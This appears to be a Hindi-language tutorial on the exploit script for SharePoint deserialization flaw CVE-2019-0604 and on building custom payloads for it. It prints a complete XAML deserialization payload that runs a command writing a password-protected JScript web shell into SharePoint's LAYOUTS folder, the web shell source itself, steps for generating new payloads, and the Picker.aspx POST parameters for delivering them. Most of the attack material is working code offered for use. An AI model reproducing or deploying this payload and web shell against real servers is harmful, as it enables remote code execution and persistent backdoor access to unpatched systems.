
विस्तार से समझाएं k8gege के SharePoint RCE exploit cve-2019-0604-exp.py के कोड को, अपना खुद का payload बनाएं।

k8gege का स्क्रिप्ट https://github.com/k8gege/CVE-2019-0604
सच कहूँ तो k8gege का py स्क्रिप्ट थोड़ा फैंसी है, ढेर सारे हेक्साडेसिमल स्ट्रिंग्स, जिन्हें payload1,2,3 में विभाजित किया गया है, अच्छा और बुरा।
पायथन स्क्रिप्ट द्वारा रिमोट पोस्ट किया गया पेलोड, डिसेरियलाइजेशन के बाद एक XML डेटा बॉडी है।
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

अर्थात्, रिमोट पर echo कमांड निष्पादित करके, सर्वर के SharePoint टेम्पलेट layouts निर्देशिका में एक up.aspx फ़ाइल लिखी गई।
cmd /c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx"
एक K8 फीदाओ विशेष UA एक-लाइन ट्रोजन .asxp उत्पन्न हुआ, ठीक है, शेल प्राप्त हो गया।
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd)
{
var code=uastr.Replace(pwd+"===","");
eval(code,"unsafe");
};
%>
यदि आप रिमोट कमांड निष्पादन के लिए अपना खुद का पेलोड बनाना चाहते हैं, तो कृपया इन चरणों का पालन करें:
https://github.com/boxhg/CVE-2019-0604/releases से संकलित प्रोग्राम डाउनलोड करें, अनज़िप करें और CVE20190604Forms.exe चलाएं।
Cmd टेक्स्टबॉक्स में कमांड दर्ज करें, "Update XML" बटन पर क्लिक करें, जो कमांड को XML में मर्ज कर देगा।
"EncodeEntity" पर क्लिक करें, प्रोग्राम XML स्ट्रिंग को ऑब्जेक्ट में सीरियलाइज़ करता है और पेलोड निष्पादित करता है, सीरियलाइज़्ड स्ट्रिंग "payload" टेक्स्टबॉक्स में दिखाई देती है।
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
"__cp...." ये स्ट्रिंग्स ही पेलोड हैं, इन्हें cve-2019-0604-exp.py में कॉपी करें, और मूल k8 के पेलोड को बदलें।
Picker.aspx पर पेलोड सबमिट करते समय, साथ में अन्य पैरामीटर भी आवश्यक हैं, जिन्हें Burp प्रॉक्सी टूल के माध्यम से प्राप्त किया जा सकता है, फिर पेलोड मान को ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData को भेजें।
...
values = {
'__REQUESTDIGEST':YOUR_REQUESTDIGEST,
'__EVENTTARGET':'',
'__EVENTARGUMENT':'',
'__spPickerHasReturnValue':'',
'__spPickerReturnValueHolder':'',
'__VIEWSTATE':YOUR_VIEWSTATE,
'__VIEWSTATEGENERATOR':'',
'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':' ',
'__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
'__CALLBACKPARAM':';#;#11;#;#;#',
'__EVENTVALIDATION':YOUR_EVENTVALIDATION
}
data = urllib.urlencode(values)
...